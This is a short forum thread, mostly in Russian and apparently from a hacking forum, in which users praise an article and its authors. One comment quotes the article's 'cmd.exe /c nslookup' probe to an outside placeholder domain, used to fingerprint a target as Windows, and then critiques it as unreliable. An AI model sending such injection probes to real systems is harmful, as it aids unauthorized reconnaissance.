 
Thank you admin you are the best admin and thank you again yashechka that's a lot of work😄😄
Awesome effort all around! You too, spyboy =) The time and dedication you all committed really shines through, and for this alone, we all owe huge gratitude! Thank you, guys!
 
Люди, пролайкайте мой этот пост. Покажите заинтересованность. СпайБой может и хочет ещё две статьи форуму подарить. Разве Вы не хотите этого?
 
https://xss.pro/threads/68358/ - Рашша Едишн.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Больше таких клоунов не видно :)
Клоунов? Почему?

Статья отличная, ушел изучать, Яша спасибо за труд!
 
Клоунов? Почему?

Статья отличная, ушел изучать, Яша спасибо за труд!
То же не понял почему. Парни много сделали для Журнала и не только.
 
spyboy я насчитал 35 лайков. Можешь пересчитать сам )) Думаю придется тебе ещё статью писать а может и вторую🤭
🤭🤭
 
Примечание: Вы можете определить, является ли этот сервер Windows или нет, выполнив следующую команду:

cmd.exe /c nslookup xxxxx.domain.com

Если получаем результаты, значит это Винь, а если нет - то Линь.
Статья отличная, но некоторые утверждения - сомнительны.
В случае, если DNS запросы в операционной системе блокированы брандмауером или используемый dns-резолвер не работает, то ответ всё равно не придёт вне зависимости от операционной системы. То есть, если на виндоус не отвечают днс-запросы, то результата не будет , но это вовсе не значит, что ОС - не виндоус.
Кроме того, программа nslookup кажись имеет немного другой синтаксис:
nslookup domain.com IP-dns-server
Например:
nslookup ya.ru 8.8.8.8
nslookup yandex.com 10.152.152.10

Адрес сервера ДНС можно не указывать. В этом случае будет использоваться системный сервер.

Команда для определения ОС - не совершенна )). Но в данном случае прокатила - повезло ))
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх